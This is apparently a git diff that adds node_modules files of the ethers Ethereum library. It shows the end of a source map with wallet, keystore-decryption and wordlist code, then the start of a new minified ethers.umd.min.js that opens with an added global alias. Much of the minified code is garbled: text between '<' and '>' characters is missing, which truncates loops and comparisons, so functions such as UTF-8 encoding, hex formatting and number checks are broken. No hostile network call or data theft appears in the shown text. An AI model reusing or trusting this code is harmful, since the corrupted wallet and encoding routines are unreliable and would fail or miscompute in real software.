== null) { path = \"m/44'/60'/0'/0\"; }\n if (locale == null) { locale = LangEn.wordlist(); }\n this.#root = HDNodeWallet.fromPhrase(phrase, password, path, locale);\n }\n\n getSigner(index?: number): HDNodeWallet {\n return this.#root.deriveChild((index == null) ? 0: index);\n }\n}\n*/\n/**\n * Returns the [[link-bip-32]] path for the account at %%index%%.\n *\n * This is the pattern used by wallets like Ledger.\n *\n * There is also an [alternate pattern](getIndexedAccountPath) used by\n * some software.\n */\nexport function getAccountPath(_index) {\n const index = getNumber(_index, \"index\");\n assertArgument(index >= 0 && index < HardenedBit, \"invalid account index\", \"index\", index);\n return `m/44'/60'/${index}'/0/0`;\n}\n/**\n * Returns the path using an alternative pattern for deriving accounts,\n * at %%index%%.\n *\n * This derivation path uses the //index// component rather than the\n * //account// component to derive sequential accounts.\n *\n * This is the pattern used by wallets like MetaMask.\n */\nexport function getIndexedAccountPath(_index) {\n const index = getNumber(_index, \"index\");\n assertArgument(index >= 0 && index < HardenedBit, \"invalid account index\", \"index\", index);\n return `m/44'/60'/0'/0/${index}`;\n}\n//# sourceMappingURL=hdwallet.js.map","/**\n * @_subsection: api/wallet:JSON Wallets [json-wallets]\n */\nimport { CBC, pkcs7Strip } from \"aes-js\";\nimport { getAddress } from \"../address/index.js\";\nimport { pbkdf2 } from \"../crypto/index.js\";\nimport { id } from \"../hash/index.js\";\nimport { getBytes, assertArgument } from \"../utils/index.js\";\nimport { getPassword, looseArrayify, spelunk } from \"./utils.js\";\n/**\n * Returns true if %%json%% is a valid JSON Crowdsale wallet.\n */\nexport function isCrowdsaleJson(json) {\n try {\n const data = JSON.parse(json);\n if (data.encseed) {\n return true;\n }\n }\n catch (error) { }\n return false;\n}\n// See: https://github.com/ethereum/pyethsaletool\n/**\n * Before Ethereum launched, it was necessary to create a wallet\n * format for backers to use, which would be used to receive ether\n * as a reward for contributing to the project.\n *\n * The [[link-crowdsale]] format is now obsolete, but it is still\n * useful to support and the additional code is fairly trivial as\n * all the primitives required are used through core portions of\n * the library.\n */\nexport function decryptCrowdsaleJson(json, _password) {\n const data = JSON.parse(json);\n const password = getPassword(_password);\n // Ethereum Address\n const address = getAddress(spelunk(data, \"ethaddr:string!\"));\n // Encrypted Seed\n const encseed = looseArrayify(spelunk(data, \"encseed:string!\"));\n assertArgument(encseed && (encseed.length % 16) === 0, \"invalid encseed\", \"json\", json);\n const key = getBytes(pbkdf2(password, password, 2000, 32, \"sha256\")).slice(0, 16);\n const iv = encseed.slice(0, 16);\n const encryptedSeed = encseed.slice(16);\n // Decrypt the seed\n const aesCbc = new CBC(key, iv);\n const seed = pkcs7Strip(getBytes(aesCbc.decrypt(encryptedSeed)));\n // This wallet format is weird... Convert the binary encoded hex to a string.\n let seedHex = \"\";\n for (let i = 0; i < seed.length; i++) {\n seedHex += String.fromCharCode(seed[i]);\n }\n return { address, privateKey: id(seedHex) };\n}\n//# sourceMappingURL=json-crowdsale.js.map","import { SigningKey } from \"../crypto/index.js\";\nimport { assertArgument } from \"../utils/index.js\";\nimport { BaseWallet } from \"./base-wallet.js\";\nimport { HDNodeWallet } from \"./hdwallet.js\";\nimport { decryptCrowdsaleJson, isCrowdsaleJson } from \"./json-crowdsale.js\";\nimport { decryptKeystoreJson, decryptKeystoreJsonSync, encryptKeystoreJson, encryptKeystoreJsonSync, isKeystoreJson } from \"./json-keystore.js\";\nimport { Mnemonic } from \"./mnemonic.js\";\nfunction stall(duration) {\n return new Promise((resolve) => { setTimeout(() => { resolve(); }, duration); });\n}\n/**\n * A **Wallet** manages a single private key which is used to sign\n * transactions, messages and other common payloads.\n *\n * This class is generally the main entry point for developers\n * that wish to use a private key directly, as it can create\n * instances from a large variety of common sources, including\n * raw private key, [[link-bip-39]] mnemonics and encrypte JSON\n * wallets.\n */\nexport class Wallet extends BaseWallet {\n /**\n * Create a new wallet for the private %%key%%, optionally connected\n * to %%provider%%.\n */\n constructor(key, provider) {\n if (typeof (key) === \"string\" && !key.startsWith(\"0x\")) {\n key = \"0x\" + key;\n }\n let signingKey = (typeof (key) === \"string\") ? new SigningKey(key) : key;\n super(signingKey, provider);\n }\n connect(provider) {\n return new Wallet(this.signingKey, provider);\n }\n /**\n * Resolves to a [JSON Keystore Wallet](json-wallets) encrypted with\n * %%password%%.\n *\n * If %%progressCallback%% is specified, it will receive periodic\n * updates as the encryption process progreses.\n */\n async encrypt(password, progressCallback) {\n const account = { address: this.address, privateKey: this.privateKey };\n return await encryptKeystoreJson(account, password, { progressCallback });\n }\n /**\n * Returns a [JSON Keystore Wallet](json-wallets) encryped with\n * %%password%%.\n *\n * It is preferred to use the [async version](encrypt) instead,\n * which allows a [[ProgressCallback]] to keep the user informed.\n *\n * This method will block the event loop (freezing all UI) until\n * it is complete, which may be a non-trivial duration.\n */\n encryptSync(password) {\n const account = { address: this.address, privateKey: this.privateKey };\n return encryptKeystoreJsonSync(account, password);\n }\n static #fromAccount(account) {\n assertArgument(account, \"invalid JSON wallet\", \"json\", \"[ REDACTED ]\");\n if (\"mnemonic\" in account && account.mnemonic && account.mnemonic.locale === \"en\") {\n const mnemonic = Mnemonic.fromEntropy(account.mnemonic.entropy);\n const wallet = HDNodeWallet.fromMnemonic(mnemonic, account.mnemonic.path);\n if (wallet.address === account.address && wallet.privateKey === account.privateKey) {\n return wallet;\n }\n console.log(\"WARNING: JSON mismatch address/privateKey != mnemonic; fallback onto private key\");\n }\n const wallet = new Wallet(account.privateKey);\n assertArgument(wallet.address === account.address, \"address/privateKey mismatch\", \"json\", \"[ REDACTED ]\");\n return wallet;\n }\n /**\n * Creates (asynchronously) a **Wallet** by decrypting the %%json%%\n * with %%password%%.\n *\n * If %%progress%% is provided, it is called periodically during\n * decryption so that any UI can be updated.\n */\n static async fromEncryptedJson(json, password, progress) {\n let account = null;\n if (isKeystoreJson(json)) {\n account = await decryptKeystoreJson(json, password, progress);\n }\n else if (isCrowdsaleJson(json)) {\n if (progress) {\n progress(0);\n await stall(0);\n }\n account = decryptCrowdsaleJson(json, password);\n if (progress) {\n progress(1);\n await stall(0);\n }\n }\n return Wallet.#fromAccount(account);\n }\n /**\n * Creates a **Wallet** by decrypting the %%json%% with %%password%%.\n *\n * The [[fromEncryptedJson]] method is preferred, as this method\n * will lock up and freeze the UI during decryption, which may take\n * some time.\n */\n static fromEncryptedJsonSync(json, password) {\n let account = null;\n if (isKeystoreJson(json)) {\n account = decryptKeystoreJsonSync(json, password);\n }\n else if (isCrowdsaleJson(json)) {\n account = decryptCrowdsaleJson(json, password);\n }\n else {\n assertArgument(false, \"invalid JSON wallet\", \"json\", \"[ REDACTED ]\");\n }\n return Wallet.#fromAccount(account);\n }\n /**\n * Creates a new random [[HDNodeWallet]] using the available\n * [cryptographic random source](randomBytes).\n *\n * If there is no crytographic random source, this will throw.\n */\n static createRandom(provider) {\n const wallet = HDNodeWallet.createRandom();\n if (provider) {\n return wallet.connect(provider);\n }\n return wallet;\n }\n /**\n * Creates a [[HDNodeWallet]] for %%phrase%%.\n */\n static fromPhrase(phrase, provider) {\n const wallet = HDNodeWallet.fromPhrase(phrase);\n if (provider) {\n return wallet.connect(provider);\n }\n return wallet;\n }\n}\n//# sourceMappingURL=wallet.js.map","const Base64 = \")!@#$%^&*(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz-_\";\n/**\n * @_ignore\n */\nexport function decodeBits(width, data) {\n const maxValue = (1 << width) - 1;\n const result = [];\n let accum = 0, bits = 0, flood = 0;\n for (let i = 0; i < data.length; i++) {\n // Accumulate 6 bits of data\n accum = ((accum << 6) | Base64.indexOf(data[i]));\n bits += 6;\n // While we have enough for a word...\n while (bits >= width) {\n // ...read the word\n const value = (accum >> (bits - width));\n accum &= (1 << (bits - width)) - 1;\n bits -= width;\n // A value of 0 indicates we exceeded maxValue, it\n // floods over into the next value\n if (value === 0) {\n flood += maxValue;\n }\n else {\n result.push(value + flood);\n flood = 0;\n }\n }\n }\n return result;\n}\n//# sourceMappingURL=bit-reader.js.map","import { assertArgument } from \"../utils/index.js\";\nimport { decodeBits } from \"./bit-reader.js\";\nimport { decodeOwl } from \"./decode-owl.js\";\n/**\n * @_ignore\n */\nexport function decodeOwlA(data, accents) {\n let words = decodeOwl(data).join(\",\");\n // Inject the accents\n accents.split(/,/g).forEach((accent) => {\n const match = accent.match(/^([a-z]*)([0-9]+)([0-9])(.*)$/);\n assertArgument(match !== null, \"internal error parsing accents\", \"accents\", accents);\n let posOffset = 0;\n const positions = decodeBits(parseInt(match[3]), match[4]);\n const charCode = parseInt(match[2]);\n const regex = new RegExp(`([${match[1]}])`, \"g\");\n words = words.replace(regex, (all, letter) => {\n const rem = --positions[posOffset];\n if (rem === 0) {\n letter = String.fromCharCode(letter.charCodeAt(0), charCode);\n posOffset++;\n }\n return letter;\n });\n });\n return words.split(\",\");\n}\n//# sourceMappingURL=decode-owla.js.map","import { WordlistOwl } from \"./wordlist-owl.js\";\nimport { decodeOwlA } from \"./decode-owla.js\";\n/**\n * An OWL-A format Wordlist extends the OWL format to add an\n * overlay onto an OWL format Wordlist to support diacritic\n * marks.\n *\n * This class is generally not useful to most developers as\n * it is used mainly internally to keep Wordlists for languages\n * based on latin-1 small.\n *\n * If necessary, there are tools within the ``generation/`` folder\n * to create the necessary data.\n */\nexport class WordlistOwlA extends WordlistOwl {\n #accent;\n /**\n * Creates a new Wordlist for %%locale%% using the OWLA %%data%%\n * and %%accent%% data and validated against the %%checksum%%.\n */\n constructor(locale, data, accent, checksum) {\n super(locale, data, checksum);\n this.#accent = accent;\n }\n /**\n * The OWLA-encoded accent data.\n */\n get _accent() { return this.#accent; }\n /**\n * Decode all the words for the wordlist.\n */\n _decodeWords() {\n return decodeOwlA(this._data, this._accent);\n }\n}\n//# sourceMappingURL=wordlist-owla.js.map","import { LangEn } from \"./lang-en.js\";\nexport const wordlists = {\n en: LangEn.wordlist(),\n};\n//# sourceMappingURL=wordlists-browser.js.map","/////////////////////////////\n//\nexport { version } from \"./_version.js\";\nexport { decodeBytes32String, encodeBytes32String, AbiCoder, ConstructorFragment, ErrorFragment, EventFragment, Fragment, FallbackFragment, FunctionFragment, NamedFragment, ParamType, StructFragment, checkResultErrors, ErrorDescription, Indexed, Interface, LogDescription, Result, TransactionDescription, Typed, } from \"./abi/index.js\";\nexport { getAddress, getIcapAddress, getCreateAddress, getCreate2Address, isAddressable, isAddress, resolveAddress } from \"./address/index.js\";\nexport { ZeroAddress, WeiPerEther, MaxUint256, MinInt256, MaxInt256, N, ZeroHash, EtherSymbol, MessagePrefix } from \"./constants/index.js\";\nexport { BaseContract, Contract, ContractFactory, ContractEventPayload, ContractTransactionReceipt, ContractTransactionResponse, ContractUnknownEventPayload, EventLog, UndecodedEventLog } from \"./contract/index.js\";\nexport { computeHmac, randomBytes, keccak256, ripemd160, sha256, sha512, pbkdf2, scrypt, scryptSync, lock, Signature, SigningKey } from \"./crypto/index.js\";\nexport { id, ensNormalize, isValidName, namehash, dnsEncode, hashAuthorization, verifyAuthorization, hashMessage, verifyMessage, solidityPacked, solidityPackedKeccak256, solidityPackedSha256, TypedDataEncoder, verifyTypedData } from \"./hash/index.js\";\nexport { getDefaultProvider, Block, FeeData, Log, TransactionReceipt, TransactionResponse, AbstractSigner, NonceManager, VoidSigner, AbstractProvider, FallbackProvider, JsonRpcApiProvider, JsonRpcProvider, JsonRpcSigner, BrowserProvider, AlchemyProvider, AnkrProvider, BlockscoutProvider, ChainstackProvider, CloudflareProvider, EtherscanProvider, InfuraProvider, InfuraWebSocketProvider, PocketProvider, QuickNodeProvider, IpcSocketProvider, SocketProvider, WebSocketProvider, EnsResolver, Network, EnsPlugin, EtherscanPlugin, FeeDataNetworkPlugin, FetchUrlFeeDataNetworkPlugin, GasCostPlugin, NetworkPlugin, MulticoinProviderPlugin, SocketBlockSubscriber, SocketEventSubscriber, SocketPendingSubscriber, SocketSubscriber, UnmanagedSubscriber, copyRequest, showThrottleMessage } from \"./providers/index.js\";\nexport { accessListify, authorizationify, computeAddress, recoverAddress, Transaction } from \"./transaction/index.js\";\nexport { decodeBase58, encodeBase58, decodeBase64, encodeBase64, concat, dataLength, dataSlice, getBytes, getBytesCopy, hexlify, isHexString, isBytesLike, stripZerosLeft, zeroPadBytes, zeroPadValue, defineProperties, resolveProperties, assert, assertArgument, assertArgumentCount, assertNormalize, assertPrivate, makeError, isCallException, isError, EventPayload, FetchRequest, FetchResponse, FetchCancelSignal, FixedNumber, getBigInt, getNumber, getUint, toBeArray, toBigInt, toBeHex, toNumber, toQuantity, fromTwos, toTwos, mask, formatEther, parseEther, formatUnits, parseUnits, toUtf8Bytes, toUtf8CodePoints, toUtf8String, Utf8ErrorFuncs, decodeRlp, encodeRlp, uuidV4, } from \"./utils/index.js\";\nexport { Mnemonic, BaseWallet, HDNodeWallet, HDNodeVoidWallet, Wallet, defaultPath, getAccountPath, getIndexedAccountPath, isCrowdsaleJson, isKeystoreJson, decryptCrowdsaleJson, decryptKeystoreJsonSync, decryptKeystoreJson, encryptKeystoreJson, encryptKeystoreJsonSync, } from \"./wallet/index.js\";\nexport { Wordlist, LangEn, WordlistOwl, WordlistOwlA, wordlists } from \"./wordlists/index.js\";\n// dummy change; to pick-up ws security issue changes\n//# sourceMappingURL=ethers.js.map"],"names":["stringify","BN_0","BN_1","Nibbles","locked","getTime","_guard","Zeros","parseUnits","passProperties","getValue","crypto","u8a","utf8ToBytes","concatBytes","randomBytes","hash","assertHash","assertExists","assertBytes","assertNumber","pbkdf2","sha256","split","sha512","getGlobal","_0n","_1n","_2n","rotl","ripemd160","noble_ripemd160","crypto_random","scrypt","_nobleAsync","_nobleSync","H","_3n","ut.validateObject","ut.concatBytes","ut.bytesToHex","ut.bytesToNumberBE","mod.mod","mod.invert","ut.numberToBytesBE","ut.hexToBytes","mod.getMinHashLength","mod.mapHashToField","ut.bitMask","ut.createHmacDrbg","N","BN_2","BN_27","BN_28","BN_35","BN_MAX_UINT256","T1","_keccak256","_sha256","internal","PanicReasons","copy","isPromise","defaultOptions","stall","defaultApiKey","getHost","__classPrivateFieldGet","this","__classPrivateFieldSet","zpad","defaultPath"],"m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Ae,CAAC,CAAC;IACxF,QAAQ,MAAM,CAAC,CAAC,CAAC,OAAO,EAAE,oCAAoC,EAAE,eAAe,EAAE,EAAE,CAAC,CAAC;IACrF,QAAQ,OAAO,OAAO,CAAC;IACvB,KAAK;IACL;IACA;IACA;IACA,IAAI,YAAY,GAAG;IACnB,QAAQ,OAAO,sBAAsB,CAAC,IAAI,CAAC,CAAC;IAC5C,KAAK;IACL,CAAC;IACD;IACA;IACA;IACA;IACA;IACA;IACA;IACA;AACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACO,MAAM,kBAAkB,CAAC;IAChC;IACA;IACA;IACA;IACA,IAAI,QAAQ,CAAC;IACb;IACA;IACA;IACA,IAAI,EAAE,CAAC;IACP;IACA;IACA;IACA,IAAI,IAAI,CAAC;IACT;IACA;IACA;IACA;IACA;IACA;IACA;IACA,IAAI,eAAe,CAAC;IACpB;IACA;IACA;IACA,IAAI,IAAI,CAAC;IACT;IACA;IACA;IACA,IAAI,KAAK,CAAC;IACV;IACA;IACA;IACA,IAAI,SAAS,CAAC;IACd;IACA;IACA;IACA,IAAI,WAAW,CAAC;IAChB;IACA;IACA;IACA;IACA;IACA,IAAI,SAAS,CAAC;IACd;IACA;IACA;IACA;IACA;IACA;IACA;IACA,IAAI,OAAO,CAAC;IACZ;IACA;IACA;IACA,IAAI,WAAW,CAAC;IAChB;IACA;IACA;IACA;IACA;IACA;IACA;IACA,IAAI,iBAAiB,CAAC;IACtB;IACA;IACA;IACA;IACA;IACA;IACA;IACA,IAAI,QAAQ,CAAC;IACb;IACA;IACA;IACA,IAAI,YAAY,CAAC;IACjB;IACA;IACA;IACA,IAAI,IAAI,CAAC;IACT;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA,IAAI,MAAM,CAAC;IACX;IACA;IACA;IACA;IACA;IACA;IACA,IAAI,IAAI,CAAC;IACT,IAAI,KAAK,CAAC;IACV;IACA;IACA;IACA,IAAI,WAAW,CAAC,EAAE,EAAE,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,IAAI,CAAC,WAAW,GAAG,CAAC,CAAC;IAC7E,KAAK;IACL;IACA;IACA;IACA,IAAI,YAAY,GAAG;IACnB,QAAQ,OAAO,8BAA8B,CAAC,IAAI,CAAC,CAAC;IACpD,KAAK;IACL;IACA;IACA;IACA,IAAI,cAAc,CAAC,KAAK,EAAE;IAC1B,QAAQ,MAAM,CAAC,CAAC,KAAK,IAAI,KAAK,CAAC,OAAO,EAAE,EAAE,+CAA+C,EAAE,uBAAuB,EAAE,EAAE,SAAS,EAAE,uBAAuB,EAAE,CAAC,CAAC;IAC5J,QAAQ,OAAO,gCAAgC,CAAC,IAAI,EAAE,KAAK,CAAC,CAAC;IAC7D,KAAK;IACL,CAAC;IACD;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACO,MAAM,mBAAmB,CAAC;IACjC;IACA;IACA;IACA;IACA,IAAI,QAAQ,CAAC;IACb;IACA;IACA;IACA;IACA;IACA,IAAI,WAAW,CAAC;IAChB;IACA;IACA;IACA;IACA;IACA,IAAI,SAAS,CAAC;IACd;IACA;IACA;IACA,IAAI,KAAK,CAAC;IACV;IACA;IACA;IACA,IAAI,IAAI,CAAC;IACT;IACA;IACA;IACA;IACA,IAAI,IAAI,CAAC;IACT;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA,IAAI,EAAE,CAAC;IACP;IACA;IACA;IACA;IACA;IACA,IAAI,IAAI,CAAC;IACT;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA,IAAI,KAAK,CAAC;IACV;IACA;IACA;IACA;IACA;IACA,IAAI,QAAQ,CAAC;IACb;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA;IACA,IAAI,QAAQ,CAAC;IACb;IACA;IACA;IACA;IACA;IACA,IAAI,oBAAoB,CAAC;IACzB;IACA;IACA;IACA;IACA,IAAI,YAAY,CAAC;IACjB;IACA;IACA;IACA,IAAI,gBAAgB,CAAC;IACrB;IACA;IACA;IACA,IAAI,IAAI,CAA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;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;","x_google_ignoreList":[17,18,19,20,21,22,23,24,25,28,30,34,37,38,39,40,41,42,70,116,117,118,119,120]} \ No newline at end of file diff --git a/node_modules/ethers/dist/ethers.umd.min.js b/node_modules/ethers/dist/ethers.umd.min.js new file mode 100644 index 000000000000..36002edde8d2 --- /dev/null +++ b/node_modules/ethers/dist/ethers.umd.min.js @@ -0,0 +1 @@ +const __$G=typeof globalThis!=="undefined"?globalThis:typeof window!=="undefined"?window:typeof global!=="undefined"?global:typeof self!=="undefined"?self:{};(function(global,factory){typeof exports==="object"&&typeof module!=="undefined"?factory(exports):typeof define==="function"&&define.amd?define(["exports"],factory):(global=typeof globalThis!=="undefined"?globalThis:global||self,factory(global.ethers={}))})(this,function(exports){"use strict";const version="6.15.0";function checkType(value,type,name){const types=type.split("|").map(t=>t.trim());for(let i=0;iPromise.resolve(value[k])));return results.reduce((accum,v,index)=>{accum[keys[index]]=v;return accum},{})}function defineProperties(target,values,types){for(let key in values){let value=values[key];const type=types?types[key]:null;if(type){checkType(value,type,key)}Object.defineProperty(target,key,{enumerable:true,value:value,writable:false})}}function stringify$1(value,seen){if(value==null){return"null"}if(seen==null){seen=new Set}if(typeof value==="object"){if(seen.has(value)){return"[Circular]"}seen.add(value)}if(Array.isArray(value)){return"[ "+value.map(v=>stringify$1(v,seen)).join(", ")+" ]"}if(value instanceof Uint8Array){const HEX="0123456789abcdef";let result="0x";for(let i=0;i>4];result+=HEX[value[i]&15]}return result}if(typeof value==="object"&&typeof value.toJSON==="function"){return stringify$1(value.toJSON(),seen)}switch(typeof value){case"boolean":case"number":case"symbol":return value.toString();case"bigint":return BigInt(value).toString();case"string":return JSON.stringify(value);case"object":{const keys=Object.keys(value);keys.sort();return"{ "+keys.map(k=>`${stringify$1(k,seen)}: ${stringify$1(value[k],seen)}`).join(", ")+" }"}}return`[ COULD NOT SERIALIZE ]`}function isError(error,code){return error&&error.code===code}function isCallException(error){return isError(error,"CALL_EXCEPTION")}function makeError(message,code,info){let shortMessage=message;{const details=[];if(info){if("message"in info||"code"in info||"name"in info){throw new Error(`value will overwrite populated values: ${stringify$1(info)}`)}for(const key in info){if(key==="shortMessage"){continue}const value=info[key];details.push(key+"="+stringify$1(value))}}details.push(`code=${code}`);details.push(`version=${version}`);if(details.length){message+=" ("+details.join(", ")+")"}}let error;switch(code){case"INVALID_ARGUMENT":error=new TypeError(message);break;case"NUMERIC_FAULT":case"BUFFER_OVERRUN":error=new RangeError(message);break;default:error=new Error(message)}defineProperties(error,{code:code});if(info){Object.assign(error,info)}if(error.shortMessage==null){defineProperties(error,{shortMessage:shortMessage})}return error}function assert(check,message,code,info){if(!check){throw makeError(message,code,info)}}function assertArgument(check,message,name,value){assert(check,message,"INVALID_ARGUMENT",{argument:name,value:value})}function assertArgumentCount(count,expectedCount,message){if(message==null){message=""}if(message){message=": "+message}assert(count>=expectedCount,"missing argument"+message,"MISSING_ARGUMENT",{count:count,expectedCount:expectedCount});assert(count<=expectedCount,"too many arguments"+message,"UNEXPECTED_ARGUMENT",{count:count,expectedCount:expectedCount})}const _normalizeForms=["NFD","NFC","NFKD","NFKC"].reduce((accum,form)=>{try{if("test".normalize(form)!=="test"){throw new Error("bad")}if(form==="NFD"){const check=String.fromCharCode(233).normalize("NFD");const expected=String.fromCharCode(101,769);if(check!==expected){throw new Error("broken")}}accum.push(form)}catch(error){}return accum},[]);function assertNormalize(form){assert(_normalizeForms.indexOf(form)>=0,"platform missing String.prototype.normalize","UNSUPPORTED_OPERATION",{operation:"String.prototype.normalize",info:{form:form}})}function assertPrivate(givenGuard,guard,className){if(className==null){className=""}if(givenGuard!==guard){let method=className,operation="new";if(className){method+=".";operation+=" "+className}assert(false,`private constructor; use ${method}from* methods`,"UNSUPPORTED_OPERATION",{operation:operation})}}function _getBytes(value,name,copy){if(value instanceof Uint8Array){if(copy){return new Uint8Array(value)}return value}if(typeof value==="string"&&value.match(/^0x(?:[0-9a-f][0-9a-f])*$/i)){const result=new Uint8Array((value.length-2)/2);let offset=2;for(let i=0;i>4]+HexCharacters[v&15]}return result}function concat(datas){return"0x"+datas.map(d=>hexlify(d).substring(2)).join("")}function dataLength(data){if(isHexString(data,true)){return(data.length-2)/2}return getBytes(data).length}function dataSlice(data,start,end){const bytes=getBytes(data);if(end!=null&&end>bytes.length){assert(false,"cannot slice beyond data bounds","BUFFER_OVERRUN",{buffer:bytes,length:bytes.length,offset:end})}return hexlify(bytes.slice(start==null?0:start,end==null?bytes.length:end))}function stripZerosLeft(data){let bytes=hexlify(data).substring(2);while(bytes.startsWith("00")){bytes=bytes.substring(2)}return"0x"+bytes}function zeroPad(data,length,left){const bytes=getBytes(data);assert(length>=bytes.length,"padding exceeds data length","BUFFER_OVERRUN",{buffer:new Uint8Array(bytes),length:length,offset:length+1});const result=new Uint8Array(length);result.fill(0);if(left){result.set(bytes,length-bytes.length)}else{result.set(bytes,0)}return hexlify(result)}function zeroPadValue(data,length){return zeroPad(data,length,true)}function zeroPadBytes(data,length){return zeroPad(data,length,false)}const BN_0$a=BigInt(0);const BN_1$5=BigInt(1);const maxValue=9007199254740991;function fromTwos(_value,_width){const value=getUint(_value,"value");const width=BigInt(getNumber(_width,"width"));assert(value>>width===BN_0$a,"overflow","NUMERIC_FAULT",{operation:"fromTwos",fault:"overflow",value:_value});if(value>>width-BN_1$5){const mask=(BN_1$5<=-maxValue&&value<=maxValue,"overflow",name||"value",value);return BigInt(value);case"string":try{if(value===""){throw new Error("empty string")}if(value[0]==="-"&&value[1]!=="-"){return-BigInt(value.substring(1))}return BigInt(value)}catch(e){assertArgument(false,`invalid BigNumberish string: ${e.message}`,name||"value",value)}}assertArgument(false,"invalid BigNumberish value",name||"value",value)}function getUint(value,name){const result=getBigInt(value,name);assert(result>=BN_0$a,"unsigned value cannot be negative","NUMERIC_FAULT",{fault:"overflow",operation:"getUint",value:value});return result}const Nibbles$1="0123456789abcdef";function toBigInt(value){if(value instanceof Uint8Array){let result="0x0";for(const v of value){result+=Nibbles$1[v>>4];result+=Nibbles$1[v&15]}return BigInt(result)}return getBigInt(value)}function getNumber(value,name){switch(typeof value){case"bigint":assertArgument(value>=-maxValue&&value<=maxValue,"overflow",name||"value",value);return Number(value);case"number":assertArgument(Number.isInteger(value),"underflow",name||"value",value);assertArgument(value>=-maxValue&&value<=maxValue,"overflow",name||"value",value);return value;case"string":try{if(value===""){throw new Error("empty string")}return getNumber(BigInt(value),name)}catch(e){assertArgument(false,`invalid numeric string: ${e.message}`,name||"value",value)}}assertArgument(false,"invalid numeric value",name||"value",value)}function toNumber(value){return getNumber(toBigInt(value))}function toBeHex(_value,_width){const value=getUint(_value,"value");let result=value.toString(16);if(_width==null){if(result.length%2){result="0"+result}}else{const width=getNumber(_width,"width");assert(width*2>=result.length,`value exceeds width (${width} bytes)`,"NUMERIC_FAULT",{operation:"toBeHex",fault:"overflow",value:_value});while(result.length>6!==2){break}i++}return i}if(reason==="OVERRUN"){return bytes.length-offset-1}return 0}function replaceFunc(reason,offset,bytes,output,badCodepoint){if(reason==="OVERLONG"){assertArgument(typeof badCodepoint==="number","invalid bad code point for replacement","badCodepoint",badCodepoint);output.push(badCodepoint);return 0}output.push(65533);return ignoreFunc(reason,offset,bytes)}const Utf8ErrorFuncs=Object.freeze({error:errorFunc,ignore:ignoreFunc,replace:replaceFunc});function getUtf8CodePoints(_bytes,onError){if(onError==null){onError=Utf8ErrorFuncs.error}const bytes=getBytes(_bytes,"bytes");const result=[];let i=0;while(i>7===0){result.push(c);continue}let extraLength=null;let overlongMask=null;if((c&224)===192){extraLength=1;overlongMask=127}else if((c&240)===224){extraLength=2;overlongMask=2047}else if((c&248)===240){extraLength=3;overlongMask=65535}else{if((c&192)===128){i+=onError("UNEXPECTED_CONTINUE",i-1,bytes,result)}else{i+=onError("BAD_PREFIX",i-1,bytes,result)}continue}if(i-1+extraLength>=bytes.length){i+=onError("OVERRUN",i-1,bytes,result);continue}let res=c&(1<<8-extraLength-1)-1;for(let j=0;j1114111){i+=onError("OUT_OF_RANGE",i-1-extraLength,bytes,result,res);continue}if(res>=55296&&res<=57343){i+=onError("UTF16_SURROGATE",i-1-extraLength,bytes,result,res);continue}if(res<=overlongMask){i+=onError("OVERLONG",i-1-extraLength,bytes,result,res);continue}result.push(res)}return result}function toUtf8Bytes(str,form){assertArgument(typeof str==="string","invalid string value","str",str);if(form!=null){assertNormalize(form);str=str.normalize(form)}let result=[];for(let i=0;i>6|192);result.push(c&63|128)}else if((c&64512)==55296){i++;const c2=str.charCodeAt(i);assertArgument(i>18|240);result.push(pair>>12&63|128);result.push(pair>>6&63|128);result.push(pair&63|128)}else{result.push(c>>12|224);result.push(c>>6&63|128);result.push(c&63|128)}}return new Uint8Array(result)}function _toUtf8String(codePoints){return codePoints.map(codePoint=>{if(codePoint<=65535){return String.fromCharCode(codePoint)}codePoint-=65536;return String.fromCharCode((codePoint>>10&1023)+55296,(codePoint&1023)+56320)}).join("")}function toUtf8String(bytes,onError){return _toUtf8String(getUtf8CodePoints(bytes,onError))}function toUtf8CodePoints(str,form){return getUtf8CodePoints(toUtf8Bytes(str,form))}function createGetUrl(options){async function getUrl(req,_signal){assert(_signal==null||!_signal.cancelled,"request cancelled before sending","CANCELLED");const protocol=req.url.split(":")[0].toLowerCase();assert(protocol==="http"||protocol==="https",`unsupported protocol ${protocol}`,"UNSUPPORTED_OPERATION",{info:{protocol:protocol},operation:"request"});assert(protocol==="https"||!req.credentials||req.allowInsecureAuthentication,"insecure authorized connections unsupported","UNSUPPORTED_OPERATION",{operation:"request"});let error=null;const controller=new AbortController;const timer=setTimeout(()=>{error=makeError("request timeout","TIMEOUT");controller.abort()},req.timeout);if(_signal){_signal.addListener(()=>{error=makeError("request cancelled","CANCELLED");controller.abort()})}const init=Object.assign({},options,{method:req.method,headers:new Headers(Array.from(req)),body:req.body||undefined,signal:controller.signal});let resp;try{resp=await fetch(req.url,init)}catch(_error){clearTimeout(timer);if(error){throw error}throw _error}clearTimeout(timer);const headers={};resp.headers.forEach((value,key)=>{headers[key.toLowerCase()]=value});const respBody=await resp.arrayBuffer();const body=respBody==null?null:new Uint8Array(respBody);return{statusCode:resp.status,statusMessage:resp.statusText,headers:headers,body:body}}return getUrl}const MAX_ATTEMPTS=12;const SLOT_INTERVAL=250;let defaultGetUrlFunc=createGetUrl();const reData=new RegExp("^data:([^;:]*)?(;base64)?,(.*)$","i");const reIpfs=new RegExp("^ipfs://(ipfs/)?(.*)$","i");let locked$5=false;async function dataGatewayFunc(url,signal){try{const match=url.match(reData);if(!match){throw new Error("invalid data")}return new FetchResponse(200,"OK",{"content-type":match[1]||"text/plain"},match[2]?decodeBase64(match[3]):unpercent(match[3]))}catch(error){return new FetchResponse(599,"BAD REQUEST (invalid data: URI)",{},null,new FetchRequest(url))}}function getIpfsGatewayFunc(baseUrl){async function gatewayIpfs(url,signal){try{const match=url.match(reIpfs);if(!match){throw new Error("invalid link")}return new FetchRequest(`${baseUrl}${match[2]}`)}catch(error){return new FetchResponse(599,"BAD REQUEST (invalid IPFS URI)",{},null,new FetchRequest(url))}}return gatewayIpfs}const Gateways={data:dataGatewayFunc,ipfs:getIpfsGatewayFunc("https://gateway.ipfs.io/ipfs/")};const fetchSignals=new WeakMap;class 